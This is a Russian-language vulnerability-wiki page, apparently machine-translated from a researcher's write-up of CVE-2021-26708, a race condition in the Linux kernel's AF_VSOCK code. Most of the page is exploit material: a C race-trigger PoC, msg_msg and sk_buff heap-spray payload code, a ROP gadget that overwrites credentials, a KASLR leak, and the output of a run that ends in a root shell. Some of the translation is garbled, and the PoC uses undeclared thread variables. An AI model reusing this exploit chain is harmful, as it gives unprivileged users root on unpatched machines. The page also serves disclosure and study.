Loading
0

CVE-2021-26708 Linux kernel before 5.10.13 特权提升漏洞/ru

PWNWIK.COM==免费、自由、人人可编辑的漏洞库

,

Уязвимость

Эти уязвимости представляют собой состояния гонки, вызванные неправильной блокировкой в ​​ net / vmw_vsock / af_vsock.c . Эти условные соревнования были неявно представлены в заявке, в которой в ноябре 2019 года была добавлена ​​поддержка мульти-транспорта VSOCK, и были объединены в версию ядра Linux 5.5-rc1.

CONFIG_VSOCKETS и CONFIG_VIRTIO_VSOCKETS предоставляются как модули ядра во всех основных дистрибутивах GNU / Linux. Когда вы создаете сокет для домена AF_VSOCK, эти уязвимые модули загружаются автоматически.

vsock = socket(AF_VSOCK, SOCK_STREAM, 0);

Создание сокетов AF_VSOCK доступно для непривилегированных пользователей и не требует пространства для имени пользователя.

Повреждение памяти

Ниже приводится подробное введение в использование CVE-2021-26708 с использованием условного соревнования в vsock_stream_etssockopt () . Для воспроизведения требуются два потока. Первый поток вызывает setsockopt ()

  setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
                &size, sizeof(unsigned long));

Второй поток изменяет передачу виртуального сокета, когда vsock_stream_etssockopt () пытается получить блокировку сокета, повторно подключив виртуальный сокет:

struct sockaddr_vm addr = {
        .svm_family = AF_VSOCK,
    };

    addr.svm_cid = VMADDR_CID_LOCAL;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

    addr.svm_cid = VMADDR_CID_HYPERVISOR;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

Для обработки connect () виртуального сокета ядро ​​выполняет vsock_stream_connect () , который вызывает vsock_assign_transport () . Эта функция содержит следующий код:

     if (vsk->transport) {
            if (vsk->transport == new_transport)
                return 0;

            /* transport->release() must be called with sock lock acquired.
             * This path can only be taken during vsock_stream_connect(),
             * where we have already held the sock lock.
             * In the other cases, this function is called on a new socket
             * which is not assigned to any transport.
             */
            vsk->transport->release(vsk);
            vsock_deassign_transport(vsk);
        }

vsock_stream_connect () содержит блокировку сокета, а vsock_stream_setsockopt () в параллельном потоке также пытается получить его, что составляет условное соревнование. Следовательно, когда второй connect () выполняется с другим svm_cid , вызывается функция vsock_deassign_transport () . Эта функция выполняет virtio_transport_destruct () , освобождает vsock_sock.trans , а для vsk-> transport устанавливается значение NULL. Когда vsock_stream_connect () освобождает блокировку сокета, vsock_stream_setsockopt () может продолжить выполнение. Он вызывает vsock_update_buffer_size () , а затем вызывает transport-> notify_buffer_size () . Здесь транспорт содержит устаревшее значение из локальной переменной, которое не соответствует vsk-> transport (исходное значение установлено в NULL).

Когда ядро ​​выполняет virtio_transport_notify_buffer_size () , происходит повреждение памяти:

void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
    struct virtio_vsock_sock *vvs = vsk->trans;

    if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
        *val = VIRTIO_VSOCK_MAX_BUF_SIZE;

    vvs->buf_alloc = *val;

    virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}

Здесь vvs - это указатель на память ядра, которая была освобождена в virtio_transport_destruct () . Размер struct virtio_vsock_sock составляет 64 байта и находится в блочном кэше kmalloc-64. Тип поля buf_alloc - u32, он расположен по смещению 40. VIRTIO_VSOCK_MAX_BUF_SIZE - 0xFFFFFFFFUL . Значение * val контролируется злоумышленником, и его четыре наименее важных байта записываются в освобожденную память.

Нечеткое изображение

Фаззер syzkaller не может воспроизвести этот сбой, поэтому я решил изучить его сам. Но почему выходит из строя фаззер? Наблюдайте за vsock_update_buffer_size () и узнайте:

 if (val != vsk->buffer_size &&
      transport && transport->notify_buffer_size)
        transport->notify_buffer_size(vsk, &val);

    vsk->buffer_size = val;

notify_buffer_size () будет вызываться только тогда, когда val отличается от текущего buffer_size, то есть когда setsockopt () выполняет SO_VM_SOCKETS_BUFFER_SIZE , каждый раз параметры размера вызова должны быть разными. Итак, я построил соответствующий код:

/*
 * AF_VSOCK vulnerability trigger.
 * It's a PoC just for fun.
 * Author: Alexander Popov <email protected>.
 */

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/socket.h>
#include <linux/vm_sockets.h>
#include <unistd.h>

#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)

#define MAX_RACE_LAG_USEC 50

int vsock = -1;
int tfail = 0;
pthread_barrier_t barrier;

int thread_sync(long lag_nsec)
{
	int ret = -1;
	struct timespec ts0;
	struct timespec ts;
	long delta_nsec = 0;

	ret = pthread_barrier_wait(&barrier);
	if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
		perror("- pthread_barrier_wait");
		return EXIT_FAILURE;
	}

	ret = clock_gettime(CLOCK_MONOTONIC, &ts0);
	if (ret != 0) {
		perror("- clock_gettime");
		return EXIT_FAILURE;
	}

	while (delta_nsec < lag_nsec) {
		ret = clock_gettime(CLOCK_MONOTONIC, &ts);
		if (ret != 0) {
			perror("- clock_gettime");
			return EXIT_FAILURE;
		}

		delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 +
						ts.tv_nsec - ts0.tv_nsec;
	}

	return EXIT_SUCCESS;
}

void *th_connect(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct sockaddr_vm addr = {
		.svm_family = AF_VSOCK,
	};

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	addr.svm_cid = VMADDR_CID_LOCAL;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	addr.svm_cid = VMADDR_CID_HYPERVISOR;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	return NULL;
}

void *th_setsockopt(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct timespec tp;
	unsigned long size = 0;

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	clock_gettime(CLOCK_MONOTONIC, &tp);
	size = tp.tv_nsec;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
						&size, sizeof(unsigned long));

	return NULL;
}

int main(void)
{
	int ret = -1;
	unsigned long size = 0;
	long loop = 0;
	pthread_t th2 = { 0 };

	vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
	if (vsock == -1)
		err_exit("- open vsock");

	printf("+ AF_VSOCK socket is opened\n");

	size = 1;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE,
						&size, sizeof(unsigned long));
	size = 0xfffffffffffffffdlu;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE,
						&size, sizeof(unsigned long));

	ret = pthread_barrier_init(&barrier, NULL, 2);
	if (ret != 0)
		err_exit("- pthread_barrier_init");

	for (loop = 0; loop < 30000; loop++) {
		long tmo1 = 0;
		long tmo2 = loop % MAX_RACE_LAG_USEC;

		printf("race loop %ld: tmo1 %ld, tmo2 %ld\n", loop, tmo1, tmo2);

		ret = pthread_create(&th0, NULL, th_connect, &tmo1);
		if (ret != 0)
			err_exit("- pthread_create #0");

		ret = pthread_create(&th1, NULL, th_setsockopt, &tmo2);
		if (ret != 0)
			err_exit("- pthread_create #1");

		ret = pthread_join(th0, NULL);
		if (ret != 0)
			err_exit("- pthread_join #0");

		ret = pthread_join(th1, NULL);
		if (ret != 0)
			err_exit("- pthread_join #1");

		if (tfail) {
			printf("- some thread got troubles\n");
			exit(EXIT_FAILURE);
		}
	}

	ret = close(vsock);
	if (ret)
		perror("- close");

	printf("+ now see your warnings in the kernel log\n");
	return 0;
}

Значение размера здесь берется из количества наносекунд, возвращаемого функцией clock_gettime () , которое каждый раз может быть разным. Исходный syzkaller этого не делает, потому что, когда syzkaller генерирует ввод фаззинга, значение параметра syscall определяется и не изменяется во время выполнения.

Мощность четырех байтов

Здесь я выбрал Fedora 33 Server в качестве объекта исследования, версия ядра - 5.10.11-200.fc33.x86_64, и я намерен обойти SMEP и SMAP.

На первом этапе я начал изучать распыление стабильной кучи, которое использовало выполнение действий в пользовательском пространстве, чтобы ядро ​​выделяло другой 64-байтовый объект в местоположении выпущенного virtio_vsock_sock. После нескольких экспериментальных попыток было подтверждено, что выпущенный файл virtio_vsock_sock был перезаписан, что указывает на возможность распыления кучи. Наконец я нашел системный вызов msgsnd (). Он создает структуру msg_msg в пространстве ядра, см. Вывод pahole:

struct msg_msg {
    struct list_head           m_list;               /*     0    16 */
    long int                   m_type;               /*    16     8 */
    size_t                     m_ts;                 /*    24     8 */
    struct msg_msgseg *        next;                 /*    32     8 */
    void *                     security;             /*    40     8 */

    /* size: 48, cachelines: 1, members: 5 */
    /* last cacheline: 48 bytes */
};

Передняя часть - это заголовок сообщения, а задняя - данные сообщения. Если struct msgbuf в пользовательском пространстве имеет 16-байтовый mtext, соответствующий msg_msg будет создан в блочном кэше kmalloc-64. 4-байтовая запись после освобождения уничтожит указатель защиты void * по смещению 40. Поле msg_msg.security указывает на данные ядра, выделенные lsm_msg_msg_alloc (). Когда msg_msg получено, оно будет выпущено security_msg_msg_free (). Следовательно, уничтожив первую половину указателя защиты, можно получить произвольное освобождение.

Утечка информации о ядре

Здесь используется % 87% E6% BC% 8F% E6% B4% 9E CVE-2019-18683 тот же метод. Второй connect () виртуального сокета вызывает vsock_deassign_transport () и устанавливает для vsk-> transport значение NULL, в результате чего vsock_stream_setsockopt () Вызов virtio_transport_send_pkt_info () после сбоя памяти появляется предупреждение ядра:

WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 vmw_vsock_virtio_transport_common
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
  virtio_transport_notify_buffer_size+0x60/0x70 vmw_vsock_virtio_transport_common
  vsock_update_buffer_size+0x5f/0x70 vsock
  vsock_stream_setsockopt+0x128/0x270 vsock
...

При отладке gdb обнаруживается, что регистр RCX содержит адрес ядра выпущенного virtio_vsock_sock, а регистр RBX содержит адрес ядра vsock_sock.

Достичь произвольного чтения

arbitrary free -- use-after-free

Освободить объект из просочившегося адреса ядра
Провести кучное распыление и покрыть объект контролируемыми данными
Использовать поврежденные объекты для повышения привилегий
Сообщение System V, реализованное ядром, имеет максимальный предел DATALEN_MSG, то есть PAGE_SIZE минус sizeof (struct msg_msg)). Если вы отправляете сообщение большего размера, оставшиеся сообщения будут сохранены в списке сегментов сообщения. Msg_msg содержит структуру msg_msgseg * рядом с первым сегментом, а size_t m_ts используется для хранения размера. При выполнении операции перезаписи вы можете поместить контролируемое значение в msg_msg.m_ts и msg_msg.next:

T01a51dfe7a996e854c.png

Payload:

    #define PAYLOAD_SZ 40 
    void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
    {
        struct msg_msg *msg_ptr;

        xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;

        /* Don't touch the second part to avoid breaking page fault delivery */
        memset(spray_data, 0xa5, PAGE_SIZE * 4);

        printf("+ adapt the msg_msg spraying payload:\n");
        msg_ptr = (struct msg_msg *)xattr_addr;
        msg_ptr->m_type = 0x1337;
        msg_ptr->m_ts = ARB_READ_SZ;
        msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
        printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
               msg_ptr,
               msg_ptr->m_type, &(msg_ptr->m_type),
               msg_ptr->m_ts, &(msg_ptr->m_ts),
               msg_ptr->next, &(msg_ptr->next));
    }

Но как использовать msg_msg для чтения данных ядра? Прочитав документацию по системному вызову msgrcv (), я нашел хорошее решение, использующее флаги msgrcv () и MSG:

MSG_COPY (since Linux 3.8)
        Nondestructively fetch a copy of the message at the ordinal position  in  the  queue
        specified by msgtyp (messages are considered to be numbered starting at 0).

Этот флаг заставляет ядро ​​копировать данные сообщения в пространство пользователя, не удаляя их из очереди сообщений. Если ядро ​​имеет CONFIG_CHECKPOINT_RESTORE = y, то MSG доступна и применима в Fedora Server.

Шаги произвольного чтения

Готов к работе:
Используйте sched_getaffinity () и CPU_COUNT () для расчета количества доступных процессоров (для этой уязвимости требуется как минимум два);
Откройте / dev / kmsg для анализа;
mmap () настраивает userfaultfd () в области памяти spray_data в качестве последней части;
Запустите отдельный поток pthread для обработки событий userfaultfd ();
Запустить 127 потоков для setxattr () и userfaultfd () heap spray на msg_msg и повесить их на thread_barrier;
Получите адрес ядра исходного msg_msg:
Условное соревнование по виртуальным розеткам;
После второго подключения () подождите 35 микросекунд в цикле занятости;
Вызовите msgsnd (), чтобы создать отдельную очередь сообщений; после повреждения памяти объект msg_msg помещается в позицию virtio_vsock_sock;
Проанализируйте журнал ядра и сохраните адрес ядра msg_msg из предупреждения ядра (регистр RCX);
В то же время сохраните адрес ядра vsock_sock из регистра RBX;
Используйте поврежденный msg_msg для произвольного освобождения исходного msg_msg:
Используйте 4 байта исходного адреса msg_msg как SO_VM_SOCKETS_BUFFER_SIZE, чтобы добиться повреждения памяти;
Условное соревнование по виртуальным розеткам;
Вызов msgsnd () сразу после второго connect (); msg_msg помещается в позицию virtio_vsock_sock для уничтожения;
Указатель безопасности теперь уничтоженного msg_msg хранит адрес исходного msg_msg (из шага 2);

T01a2a2d47c9494c4a5.png

Если повреждение памяти msg_msg.security из потока setsockopt () происходит во время обработки msgsnd (), проверка разрешений SELinux не выполняется;
В этом случае msgsnd () возвращает -1, и поврежденный msg_msg уничтожается; освобождение msg_msg.security может освободить исходный msg_msg;
Замените исходный msg_msg управляемой полезной нагрузкой:
После сбоя msgsnd () уязвимость вызовет pthread_barrier_wait () и вызовет 127 потоков pthread для распыления кучи;
Эти потоки pthread выполняют полезную нагрузку setxattr ();
Исходный файл msg_msg перезаписывается управляемыми данными, а указатель msg_msg.next сохраняет адрес объекта vsock_sock;

T0140baae964febb059.png

Прочтите содержимое объекта ядра vsock_sock в пользовательское пространство, получив сообщение из очереди сообщений, в которой хранится перезаписанный msg_msg:

ret = msgrcv(msg_locations0.msq_id, kmem, ARB_READ_SZ, 0,
                IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

Найдите цель атаки

Вот что я нашел:
1. Выделенный блочный кеш, такой как PINGv6 и sock_inode_cache, имеет много указателей на объекты.
2. Указатель struct mem_cgroup * sk_memcg находится по смещению 664 в vsock_sock.sk. Структура mem_cgroup размещается в блочном кеше kmalloc-4k.
3. Указатель владельца const struct cred * находится по смещению 840 vsock_sock.sk и хранит адрес учетных данных, которые могут быть перезаписаны для повышения разрешения.
4. Указатель функции void (* sk_write_space) (struct sock *) находится по смещению 688 vsock_sock.sk и установлен на адрес функции ядра sock_def_write_space (). Его можно использовать для расчета смещения KASLR.

Вот как уязвимость извлекает эти указатели из памяти:

#define SK_MEMCG_RD_LOCATION    (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET    840
#define OWNER_CRED_RD_LOCATION    (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET    688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET) 
/*
 * From Linux kernel 5.10.11-200.fc33.x86_64:
 *   function pointer for calculating KASLR secret
 */
#define SOCK_DEF_WRITE_SPACE    0xffffffff819851b0lu 
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;

/* ... */

    sk_memcg = kmemSK_MEMCG_RD_LOCATION / sizeof(uint64_t);
    printf("+ Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
            sk_memcg, SK_MEMCG_RD_LOCATION);

    owner_cred = kmemOWNER_CRED_RD_LOCATION / sizeof(uint64_t);
    printf("+ Found owner cred %lx (offset %ld in the leaked kmem)\n",
            owner_cred, OWNER_CRED_RD_LOCATION);

    sock_def_write_space = kmemSK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t);
    printf("+ Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
            sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);

    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
    printf("+ Calculated kaslr offset: %lx\n", kaslr_offset);

Реализуйте Use-after-free на sk_buff

Сетевой буфер в ядре Linux представлен структурой sk_buff.В этом объекте есть skb_shared_info и destructor_arg, которые можно использовать для перехвата потока управления. Сетевые данные и skb_shared_info помещаются в тот же блок памяти ядра, на который указывает sk_buff.head. Следовательно, создание 2800-байтового сетевого пакета в пользовательском пространстве приведет к тому, что skb_shared_info будет выделен блочному кешу kmalloc-4k, как и объект mem_cgroup.

Я построил следующие шаги:

1. Используйте сокеты (AF_INET, SOCK_DGRAM, IPPROTO_UDP) для создания клиентского сокета и 32 серверных сокетов.

2. Подготовьте буфер размером 2800 байт в пользовательском пространстве и используйте 0x42 для memset ().

3. Используйте sendto (), чтобы отправить этот буфер из клиентского сокета в каждый серверный сокет для создания объектов sk_buff в kmalloc-4k. Используйте sched_setaffinity () на каждом доступном процессоре

4. Выполните произвольный процесс чтения на vsock_sock

5. Рассчитайте возможный адрес ядра sk_buff как sk_memcg плюс 4096 (следующий элемент kmalloc-4k)

6. Произведите произвольное чтение с этого возможного адреса sk_buff.

7. Если вы найдете 0x42424242424242lu в расположении сетевых данных, найдите настоящий sk_buff и переходите к шагу 8. В противном случае добавьте 4096 к возможному адресу sk_buff и перейдите к шагу 6.

8. Выполните спрей setxattr () и userfaultfd () из 32 потоков pthread на sk_buff и повесьте их на pthread_barrier.

9. Произвольно освободить адрес ядра sk_buff

10. Вызовите pthread_barrier_wait (), выполните 32 setxattr (), чтобы покрыть pthreads распыления кучи skb_shared_info.

11. Используйте recv () для получения сетевых сообщений от серверного сокета.

Свободно пишет через skb_shared_info

Ниже приведены допустимые данные, которые перезаписывают объект sk_buff:

#define SKB_SIZE        4096
#define SKB_SHINFO_OFFSET    3776
#define MY_UINFO_OFFSET        256
#define SKBTX_DEV_ZEROCOPY    (1 << 3) 
void prepare_xattr_vs_skb_spray(void)
{
    struct skb_shared_info *info = NULL;

    xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0x0, PAGE_SIZE * 4);

    info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
    info->tx_flags = SKBTX_DEV_ZEROCOPY;
    info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;

    uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);

skb_shared_info находится в данных инъекции точно по смещению SKB_SHINFO_OFFSET, которое составляет 3776 байт. Указатель skb_shared_info.destructor_arg хранит адрес struct ubuf_info. Поскольку адрес ядра атакуемого sk_buff известен, поддельный ubuf_info может быть создан в MY_UINFO_OFFSET в сетевом буфере. Ниже приведен макет допустимой полезной нагрузки:

T0185ccbf9f025c74da.png

Давайте поговорим о обратном вызове destructor_arg:

 /*
     * A single ROP gadget for arbitrary write:
     *   mov rdx, qword ptr rdi + 8 ; mov qword ptr rdx + rcx*8, rsi ; ret
     * Here rdi stores uinfo_p address, rcx is 0, rsi is 1
     */
    uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
    uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr rdi + 8" */
    uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */

Поскольку в vmlinuz-5.10.11-200.fc33.x86_64 я не смог найти устройство, которое отвечало бы моим потребностям, я исследовал и сконструировал его сам.

Указатель функции обратного вызова хранит адрес гаджета ROP, RDI хранит первый параметр функции обратного вызова, который является адресом самого ubuf_info, а RDI + 8 указывает на ubuf_info.desc. гаджет перемещает ubuf_info.desc в RDX. Теперь RDX содержит эффективный идентификатор пользователя и адрес идентификатора группы минус один байт. Этот байт очень важен: когда гаджет записывает сообщение 1 от RSI в память, на которую указывает RDX, эффективные uid и gid будут перезаписаны нулем. Повторяйте тот же процесс, пока привилегии не будут повышены до root. Выходной поток всего процесса выглядит следующим образом:

email protected ~$ ./vsock_pwn

=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================

+ begin as: uid=1000, euid=1000
+ we have 2 CPUs for racing
+ getting ready...
+ remove old files for ftok()
+ spray_data at 0x7f0d9111d000
+ userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
+ fault_handler for uffd 38 is ready

+ stage I: collect good msg_msg locations
+ go racing, show wins: 
    save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
    save msg_msg ffff9125c25a4640 in msq 12 in slot 1
    save msg_msg ffff9125c25a4780 in msq 22 in slot 2
    save msg_msg ffff9125c3668a40 in msq 78 in slot 3

+ stage II: arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4d00
    kaddr for arb read: ffff9125c2035300
+ adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
+ go racing, show wins: 

+ stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
+ msgrcv returned 6096 bytes
+ Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
+ Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
+ Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
+ Calculated kaslr offset: 2a000000

+ stage IV: search sprayed skb near sk_memcg...
+ checking possible skb location: ffff9125c42fa000
+ stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4640
    kaddr for arb read: ffff9125c42fa030
+ adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
+ go racing, show wins: 0 0 20 15 42 11 
+ stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
+ msgrcv returned 6096 bytes
+ found a real skb

+ stage V: try to do UAF on skb at ffff9125c42fa000
+ skb payload:
    start at 0x7f0d91120004
    skb_shared_info at 0x7f0d91120ec4
    tx_flags 0x8
    destructor_arg 0xffff9125c42fa100
    callback 0xffffffffab64f6d4
    desc 0xffff9125c3fd6e53
+ go racing, show wins: 15 

+ stage VI: repeat UAF on skb at ffff9125c42fa000
+ go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 

+ finish as: uid=0, euid=0
+ starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Видео

PWNWIK.COM